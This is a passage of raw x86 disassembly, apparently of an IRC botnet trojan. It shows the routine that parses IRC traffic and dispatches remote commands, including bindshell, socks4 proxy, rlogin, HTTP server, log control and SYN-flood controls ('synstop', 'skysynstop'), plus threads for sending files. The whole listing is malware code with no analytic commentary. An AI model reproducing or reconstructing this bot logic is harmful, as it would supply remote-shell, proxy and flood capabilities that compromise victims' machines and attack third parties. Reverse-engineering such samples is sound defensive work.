		call	sub_41B7E0
		add	esp, 0Ch
		cmp	[ebp-84h], ebx
		jz	short loc_401E95
		push	dword ptr [ebp-84h]
		lea	eax, [ebp-0C0h]
		push	eax
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E95
		lea	eax, [ebp-0C0h]
		mov	[edi], bl
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_42E058
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_409920
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4152AE
		add	esp, 20h


loc_401E95:				; CODE XREF: seg000:00401E1Dj
					; seg000:00401E37j ...
		push	dword ptr [ebp-84h]
		push	dword ptr [ebp+18h]
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401F82
		push	dword ptr [ebp+14h]
		mov	eax, [ebp+28h]
		push	dword ptr [ebp+10h]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401EBD:				; CODE XREF: seg000:004020D1j
					; seg000:00402384j ...
		push	dword ptr [ebp+0Ch]
		call	sub_409920
		jmp	loc_404292
; ---------------------------------------------------------------------------


loc_401ECA:				; CODE XREF: seg000:00401E15j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FEA
		mov	eax, [ebp-88h]
		lea	esi, [eax+1]
		lea	eax, [ebp-0E2Ch]
		push	eax
		push	edi
		mov	[ebp+2Ch], esi
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F31
		lea	eax, [ebp-0E2Ch]
		push	21h
		push	eax
		call	sub_41C1A0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+8], eax
		jz	short loc_401F31
		lea	eax, [edi+1]
		push	esi
		push	eax
		mov	byte ptr [edi],	3Ah
		call	sub_41C0A0
		push	dword ptr [ebp+8]
		add	edi, 2
		push	edi
		call	sub_41C0B0
		add	esp, 10h


loc_401F31:				; CODE XREF: seg000:00401EFCj
					; seg000:00401F13j
		cmp	esi, ebx
		jz	short loc_401F82
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-0C0h]
		push	eax
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F5A
		push	0Fh
		push	esi
		push	dword ptr [ebp+18h]
		call	sub_41B7E0
		jmp	loc_4036A6
; ---------------------------------------------------------------------------


loc_401F5A:				; CODE XREF: seg000:00401F48j
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_401F5F:				; CODE XREF: seg000:00401F80j
		cmp	[edi], bl
		jz	short loc_401F76
		lea	eax, [ebp-0E2Ch]
		push	eax
		push	edi
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F8A


loc_401F76:				; CODE XREF: seg000:00401F61j
		inc	esi
		add	edi, 80h
		cmp	esi, 1
		jl	short loc_401F5F


loc_401F82:				; CODE XREF: seg000:00401BA5j
					; seg000:00401C2Ej ...
		xor	eax, eax
		inc	eax


loc_401F85:				; CODE XREF: seg000:00401DDBj
					; seg000:00404552j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401F8A:				; CODE XREF: seg000:00401F74j
		lea	eax, [ebp-0E2Ch]
		push	21h
		push	eax
		call	sub_41C1A0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+8], eax
		jz	short loc_401F82
		push	eax
		call	sub_41B1D0
		push	dword ptr [ebp+2Ch]
		mov	edi, eax
		call	sub_41B1D0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	short loc_401F82
		push	dword ptr [ebp+8]
		shl	esi, 7
		push	dword ptr [ebp+2Ch]
		add	esi, [ebp+20h]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-45E8h]
		push	ebx
		push	eax
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966
		add	esp, 24h
		jmp	short loc_401F82
; ---------------------------------------------------------------------------


loc_401FEA:				; CODE XREF: seg000:00401ED9j
		push	esi
		push	offset aPart	; "PART"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40200C
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402037


loc_40200C:				; CODE XREF: seg000:00401FF9j
		xor	esi, esi
		mov	[ebp+14h], edi


loc_402011:				; CODE XREF: seg000:00402035j
		mov	eax, [ebp+14h]
		cmp	[eax], bl
		jz	short loc_40202A
		push	dword ptr [ebp-90h]
		push	eax
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402078


loc_40202A:				; CODE XREF: seg000:00402016j
		add	dword ptr [ebp+14h], 80h
		inc	esi
		cmp	esi, 1
		jl	short loc_402011


loc_402037:				; CODE XREF: seg000:0040200Aj
		push	dword ptr [ebp-8Ch]
		push	offset a353	; "353"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020D6
		push	dword ptr [ebp-80h]
		push	dword ptr [ebp+10h]
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40206B
		mov	eax, [ebp+28h]
		mov	dword ptr [eax], 1


loc_40206B:				; CODE XREF: seg000:00402060j
		push	dword ptr [ebp-80h]
		push	offset unk_42E004
		jmp	loc_4098CE
; ---------------------------------------------------------------------------


loc_402078:				; CODE XREF: seg000:00402028j
		lea	eax, [ebp-0C0h]
		push	eax
		lea	eax, [ebp-2C0h]
		shl	esi, 7
		push	offset unk_42DFE0
		push	eax
		mov	[esi+edi], bl
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4152AE
		push	dword ptr [ebp-8Ch]
		push	offset aPart	; "PART"
		call	sub_41C260
		add	esp, 18h
		test	eax, eax
		jnz	loc_401F82
		lea	eax, [ebp-2C0h]
		push	eax
		mov	eax, [ebp-90h]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401EBD
; ---------------------------------------------------------------------------


loc_4020D6:				; CODE XREF: seg000:0040204Bj
		push	dword ptr [ebp-8Ch]
		mov	edi, offset aPrivmsg ; "PRIVMSG"
		push	edi
		call	sub_41C260
		pop	ecx
		mov	esi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40212A
		push	dword ptr [ebp-8Ch]
		push	esi
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40212A
		push	dword ptr [ebp-8Ch]
		push	offset dword_42DFCC
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409753
		cmp	ds:dword_42A08C, ebx
		jz	loc_409753


loc_40212A:				; CODE XREF: seg000:004020F0j
					; seg000:00402102j
		push	dword ptr [ebp-8Ch]
		push	edi
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40229D
		push	dword ptr [ebp-8Ch]
		push	esi
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40229D
		mov	eax, [ebp-84h]
		inc	dword ptr [ebp-80h]
		mov	dword ptr [ebp-0A4h], 4
		mov	[ebp-88h], eax


loc_40216F:				; CODE XREF: seg000:0040235Cj
					; seg000:00402398j ...
		mov	eax, [ebp-0A4h]
		mov	esi, eax
		shl	esi, 2
		lea	edi, [ebp+esi-90h]
		mov	eax, [edi]
		push	eax
		push	offset dword_42DFC4
		mov	[ebp+10h], eax
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402539
		push	dword ptr [ebp+esi-8Ch]
		push	offset aSend_0	; "SEND"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402404
		cmp	[ebp-0A8h], ebx
		jz	loc_4023DA
		push	dword ptr [ebp+esi-88h]
		mov	edi, offset aS_2 ; "%s"
		lea	eax, [ebp-1B7Ch]
		push	edi
		push	eax
		call	sub_41BA76
		push	dword ptr [ebp+esi-84h]
		lea	eax, [ebp-1B90h]
		push	edi
		push	eax
		call	sub_41BA76
		push	dword ptr [ebp+esi-80h]
		call	sub_41B969
		mov	[ebp-19F8h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-1B98h], eax
		lea	eax, [ebp-0C0h]
		push	7Fh
		push	eax
		lea	eax, [ebp-1A78h]
		push	eax
		call	sub_41B7E0
		mov	eax, [ebp-4]
		mov	[ebp-19F0h], eax
		mov	eax, [ebp-8]
		mov	[ebp-19ECh], eax
		lea	eax, [ebp-1A78h]
		push	eax
		lea	eax, [ebp-1B7Ch]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_42DF88
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	1Ah
		push	eax
		call	sub_40AF71
		add	esp, 44h
		mov	[ebp-19F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-1B98h]
		push	ebx
		push	eax
		push	(offset	loc_416242+1)
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-19F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jz	loc_409272
		jmp	loc_4023D0
; ---------------------------------------------------------------------------


loc_40229D:				; CODE XREF: seg000:0040213Aj
					; seg000:00402150j
		push	dword ptr [ebp-8Ch]
		push	esi
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022B6
		mov	dword ptr [ebp-4], 1


loc_4022B6:				; CODE XREF: seg000:004022ADj
		cmp	[ebp-88h], ebx
		jz	loc_401F82
		push	offset dword_42DF84
		push	dword ptr [ebp-88h]
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022DD
		cmp	[ebp-4], ebx
		jz	short loc_4022E9


loc_4022DD:				; CODE XREF: seg000:004022D6j
		lea	eax, [ebp-0C0h]
		mov	[ebp-88h], eax


loc_4022E9:				; CODE XREF: seg000:004022DBj
		cmp	[ebp-84h], ebx
		jz	loc_401F82
		inc	dword ptr [ebp-84h]
		jz	short loc_402333
		cmp	[ebp+18h], ebx
		jz	short loc_402333
		lea	eax, [ebp-334h]
		push	eax
		call	sub_41B1D0
		push	eax
		lea	eax, [ebp-334h]
		push	dword ptr [ebp-84h]
		push	eax
		call	sub_41C060
		add	esp, 10h
		neg	eax
		sbb	eax, eax
		add	eax, 4
		mov	[ebp-0A4h], eax
		jmp	short loc_402339
; ---------------------------------------------------------------------------


loc_402333:				; CODE XREF: seg000:004022FBj
					; seg000:00402300j
		mov	eax, [ebp-0A4h]


loc_402339:				; CODE XREF: seg000:00402331j
		mov	edi, eax
		shl	edi, 2
		mov	esi, [ebp+edi-90h]
		cmp	esi, ebx
		jz	loc_401F82
		push	esi
		push	offset dword_42DF78
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40216F
		mov	ecx, [ebp-88h]
		cmp	byte ptr [ecx],	23h
		jz	short loc_402389
		mov	eax, ds:dword_4CDAAC
		mov	eax, ds:off_42A158[eax*4]
		cmp	[eax], bl
		jz	short loc_402389
		push	eax
		push	ecx
		push	offset dword_42DF5C
		jmp	loc_401EBD
; ---------------------------------------------------------------------------


loc_402389:				; CODE XREF: seg000:0040236Bj
					; seg000:0040237Bj
		push	esi
		push	offset dword_42DF54
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40216F
		mov	edi, [ebp+edi-8Ch]
		cmp	edi, ebx
		jz	loc_40216F
		mov	eax, [ebp-88h]
		cmp	byte ptr [eax],	23h
		jz	loc_40216F
		push	edi
		push	eax
		push	offset dword_42DF3C
		jmp	loc_401EBD
; ---------------------------------------------------------------------------


loc_4023C8:				; CODE XREF: seg000:004023D6j
		push	32h
		call	ds:dword_428064	; Sleep


loc_4023D0:				; CODE XREF: seg000:00402298j
		cmp	[ebp-19E8h], ebx
		jz	short loc_4023C8
		jmp	short loc_4023FC
; ---------------------------------------------------------------------------


loc_4023DA:				; CODE XREF: seg000:004021BCj
		lea	eax, [ebp-0C0h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset unk_42DEF8
		push	eax
		call	sub_41BA76
		add	esp, 10h


loc_4023FC:				; CODE XREF: seg000:004023D8j
					; seg000:00402512j ...
		xor	esi, esi
		inc	esi
		jmp	loc_406CA3
; ---------------------------------------------------------------------------


loc_402404:				; CODE XREF: seg000:004021B0j
		push	dword ptr [ebp+esi-8Ch]
		push	offset aChat	; "CHAT"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40254F
		cmp	[ebp-0A8h], ebx
		jz	loc_402528
		push	1Bh
		call	sub_40B1B3
		test	eax, eax
		pop	ecx
		jnz	loc_402517
		push	dword ptr [ebp+esi-84h]
		lea	eax, [ebp-2AA4h]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41BA76
		push	dword ptr [ebp+esi-80h]
		call	sub_41B969
		mov	[ebp-290Ch], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-2AACh], eax
		lea	eax, [ebp-0C0h]
		push	7Fh
		push	eax
		lea	eax, [ebp-298Ch]
		push	eax
		call	sub_41B7E0
		mov	eax, [ebp-4]
		mov	[ebp-2904h], eax
		mov	eax, [ebp-8]
		mov	[ebp-2900h], eax
		lea	eax, [ebp-0C0h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_42DECC
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	1Bh
		push	eax
		call	sub_40AF71
		add	esp, 34h
		mov	[ebp-2908h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-2AACh]
		push	ebx
		push	eax
		push	offset dword_415CE0
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-2908h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_40250A
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42DE94
		jmp	loc_40831C
; ---------------------------------------------------------------------------


loc_402502:				; CODE XREF: seg000:00402510j
		push	32h
		call	ds:dword_428064	; Sleep


loc_40250A:				; CODE XREF: seg000:004024EFj
		cmp	[ebp-28FCh], ebx
		jz	short loc_402502
		jmp	loc_4023FC
; ---------------------------------------------------------------------------


loc_402517:				; CODE XREF: seg000:00402435j
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset unk_42DE64
		jmp	loc_40831C
; ---------------------------------------------------------------------------


loc_402528:				; CODE XREF: seg000:00402425j
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset unk_42DE30
		jmp	loc_40831C
; ---------------------------------------------------------------------------


loc_402539:				; CODE XREF: seg000:00402195j
		mov	eax, [ebp+10h]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, ds:byte_42A098
		mov	[edi], ecx
		jnz	loc_401F82


loc_40254F:				; CODE XREF: seg000:00402419j
		mov	edi, [edi]
		push	edi
		push	offset aHi	; "hi"
		mov	[ebp+10h], edi
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40975B
		push	edi
		push	offset aF	; "f"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40975B
		cmp	[ebp-0A8h], ebx
		jnz	short loc_4025A0
		push	dword ptr [ebp-8Ch]
		push	offset dword_42DFCC
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409753


loc_4025A0:				; CODE XREF: seg000:00402584j
		cmp	[ebp+30h], ebx
		jnz	loc_409753
		xor	edi, edi
		cmp	ds:dword_42A488, ebx
		jle	loc_40274D
		mov	dword ptr [ebp+28h], offset dword_43FDB8


loc_4025BE:				; CODE XREF: seg000:004025DDj
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+28h]
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4025E4
		add	dword ptr [ebp+28h], 0B8h
		inc	edi
		cmp	edi, ds:dword_42A488
		jl	short loc_4025BE
		jmp	loc_40274D
; ---------------------------------------------------------------------------


loc_4025E4:				; CODE XREF: seg000:004025CDj
		push	offset asc_42E0CC ; " :"
		push	dword ptr [ebp+8]
		call	sub_41BAF0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F82
		mov	cl, ds:byte_42A098
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, ds:byte_42A098
		mov	[eax+3], cl
		lea	ecx, dword_43FDD0[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41B7E0
		lea	eax, dword_43FDB8[edi]
		add	esp, 0Ch
		mov	dword ptr [ebp+28h], 0Fh
		mov	[ebp+14h], eax
		lea	edi, [ebp+esi-50h]


loc_40263F:				; CODE XREF: seg000:004026E2j
		push	dword ptr [ebp+28h]
		lea	eax, [ebp-0A0h]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41BAF0
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026A1
		cmp	[edi], ebx
		jz	short loc_4026A5
		push	dword ptr [ebp+14h]
		call	sub_41B1D0
		add	[ebp-0Ch], eax
		pop	ecx
		jz	short loc_4026D9
		push	dword ptr [edi-4]
		push	dword ptr [ebp-0Ch]
		call	sub_41BAF0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026D9
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4180DD
		add	esp, 0Ch
		jmp	short loc_4026D9
; ---------------------------------------------------------------------------


loc_4026A1:				; CODE XREF: seg000:00402667j
		cmp	[edi], ebx
		jnz	short loc_4026D9


loc_4026A5:				; CODE XREF: seg000:0040266Bj
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		lea	eax, [ebp-94h]
		push	eax
		call	sub_41B7E0
		lea	eax, [ebp-94h]
		mov	[ebp-92h], bl
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4180DD
		add	esp, 18h


loc_4026D9:				; CODE XREF: seg000:00402679j
					; seg000:0040268Aj ...
		dec	dword ptr [ebp+28h]
		sub	edi, 4
		cmp	[ebp+28h], ebx
		jg	loc_40263F
		lea	eax, [ebp+esi-50h]
		mov	dword ptr [ebp+28h], 10h
		mov	edi, eax


loc_4026F5:				; CODE XREF: seg000:00402741j
		push	dword ptr [ebp+28h]
		lea	eax, [ebp-0A0h]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41BAF0
		add	esp, 14h
		test	eax, eax
		jz	short loc_402738
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_402738
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4180DD
		add	esp, 0Ch


loc_402738:				; CODE XREF: seg000:0040271Dj
					; seg000:00402723j
		dec	dword ptr [ebp+28h]
		sub	edi, 4
		cmp	[ebp+28h], ebx
		jg	short loc_4026F5
		mov	dword ptr [ebp-2C4h], 1


loc_40274D:				; CODE XREF: seg000:004025B1j
					; seg000:004025DFj
		mov	eax, [ebp+10h]
		mov	al, [eax]
		cmp	al, ds:byte_42A098
		jz	short loc_402766
		cmp	[ebp-2C4h], ebx
		jz	loc_402952


loc_402766:				; CODE XREF: seg000:00402758j
		push	dword ptr [ebp+18h]
		mov	edi, [ebp+8]
		push	offset aMe	; "$me"
		push	edi
		call	sub_4180DD
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_4180DD
		push	dword ptr [ebp-88h]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_4180DD
		push	ebx
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40AF07
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_4180DD
		add	esp, 40h
		push	dword ptr [ebp+1Ch]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_4180DD
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	dword ptr [ebp+8]
		call	sub_41BAF0
		add	esp, 14h
		jmp	loc_4028CD
; ---------------------------------------------------------------------------


loc_4027DD:				; CODE XREF: seg000:004028CFj
		push	edi
		push	dword ptr [ebp+8]
		call	sub_41BAF0
		mov	[ebp+18h], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_41B7E0
		lea	eax, [ebp-0A0h]
		push	offset asc_42DDE8 ; ")"
		push	eax
		call	sub_41C2E4
		add	esp, 1Ch
		cmp	byte ptr [ebp-0A0h], 30h
		jl	short loc_402821
		cmp	byte ptr [ebp-0A0h], 39h
		jle	short loc_402837


loc_402821:				; CODE XREF: seg000:00402816j
		push	3
		lea	eax, [ebp-0A0h]
		push	offset a63	; "63"
		push	eax
		call	sub_41B7E0
		add	esp, 0Ch


loc_402837:				; CODE XREF: seg000:0040281Fj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_41B969
		test	eax, eax
		pop	ecx
		jle	short loc_40285D
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_41B969
		pop	ecx
		mov	[ebp-94h], al
		jmp	short loc_402871
; ---------------------------------------------------------------------------


loc_40285D:				; CODE XREF: seg000:00402846j
		call	sub_41BAD2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp-94h], dl


loc_402871:				; CODE XREF: seg000:0040285Bj
		lea	eax, [ebp-0A0h]
		mov	[ebp-93h], bl
		push	eax
		call	sub_41B1D0
		mov	[ebp+28h], eax
		push	0Ch
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_41B780
		mov	eax, [ebp+28h]
		add	eax, 6
		push	eax
		lea	eax, [ebp-0A0h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41B7E0
		lea	eax, [ebp-94h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4180DD
		push	edi
		push	dword ptr [ebp+8]
		call	sub_41BAF0
		add	esp, 30h


loc_4028CD:				; CODE XREF: seg000:004027D8j
		test	eax, eax
		jnz	loc_4027DD
		mov	edi, 1FFh
		lea	eax, [ebp-4484h]
		push	edi
		push	dword ptr [ebp+8]
		push	eax
		call	sub_41B7E0
		lea	eax, [ebp-4484h]
		push	edi
		push	eax
		lea	eax, [ebp-4AECh]
		push	eax
		call	sub_41B7E0
		mov	edi, offset asc_42E0C8 ; " "
		lea	eax, [ebp-4AECh]
		push	edi
		push	eax
		call	sub_41C2E4
		add	esp, 20h
		mov	[ebp-90h], eax
		mov	dword ptr [ebp+28h], 1


loc_402920:				; CODE XREF: seg000:0040293Aj
		push	edi
		push	ebx
		call	sub_41C2E4
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+28h]
		inc	dword ptr [ebp+28h]
		cmp	dword ptr [ebp+28h], 20h
		mov	[ebp+ecx*4-90h], eax
		jl	short loc_402920
		lea	eax, [ebp+esi-90h]
		mov	ecx, [eax]
		cmp	ecx, ebx
		jz	loc_401F82
		add	ecx, 3
		mov	[eax], ecx


loc_402952:				; CODE XREF: seg000:00402760j
		mov	edi, [ebp+esi-90h]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+10h], edi
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409706
		push	edi
		push	offset aRn	; "rn"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409706
		push	edi
		push	offset aDie	; "die"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404A27
		push	edi
		push	offset aD	; "d"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404A27
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404989
		push	edi
		push	offset aLo	; "lo"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404989
		push	edi
		push	offset aVersion	; "version"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40497A
		push	edi
		push	offset aVer	; "ver"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40497A
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404970
		push	edi
		push	offset aDed	; "ded"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404970
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404957
		push	edi
		push	offset aSt	; "st"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404957
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40485A
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40485A
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40485A
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40485A
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404755
		push	edi
		push	offset aBd	; "bd"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404755
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402AFF
		push	dword ptr [ebp+esi-8Ch]
		push	6
		push	offset aServer	; "Server"
		push	offset dword_42DD3C
		jmp	loc_404618
; ---------------------------------------------------------------------------


loc_402AFF:				; CODE XREF: seg000:00402AE5j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404634
		push	edi
		push	offset aS4	; "s4"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404634
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B52
		push	dword ptr [ebp+esi-8Ch]
		push	19h
		push	offset aServer	; "Server"
		push	offset dword_42DD14
		jmp	loc_404618
; ---------------------------------------------------------------------------


loc_402B52:				; CODE XREF: seg000:00402B38j
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B7B
		push	dword ptr [ebp+esi-8Ch]
		push	9
		push	offset aServer	; "Server"
		push	offset dword_42DCF8
		jmp	loc_404618
; ---------------------------------------------------------------------------


loc_402B7B:				; CODE XREF: seg000:00402B61j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BA4
		push	dword ptr [ebp+esi-8Ch]
		push	3
		push	offset aServer	; "Server"
		push	offset dword_42DCDC
		jmp	loc_404618
; ---------------------------------------------------------------------------


loc_402BA4:				; CODE XREF: seg000:00402B8Aj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BCD
		push	dword ptr [ebp+esi-8Ch]
		push	25h
		push	offset dword_42DCC8
		push	offset dword_42DCBC
		jmp	loc_404618
; ---------------------------------------------------------------------------


loc_402BCD:				; CODE XREF: seg000:00402BB3j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BF6
		push	dword ptr [ebp+esi-8Ch]
		push	18h
		push	offset dword_42DC9C
		push	offset dword_42DC8C
		jmp	loc_404618
; ---------------------------------------------------------------------------


loc_402BF6:				; CODE XREF: seg000:00402BDCj
		push	edi
		push	offset dword_42DC80
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C1F
		push	dword ptr [ebp+esi-8Ch]
		push	0Dh
		push	offset dword_42DC74
		push	offset dword_42DC68
		jmp	loc_404618
; ---------------------------------------------------------------------------


loc_402C1F:				; CODE XREF: seg000:00402C05j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C48
		push	dword ptr [ebp+esi-8Ch]
		push	0Eh
		push	offset dword_42DC54
		push	offset dword_42DC48
		jmp	loc_404618
; ---------------------------------------------------------------------------


loc_402C48:				; CODE XREF: seg000:00402C2Ej
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41C260
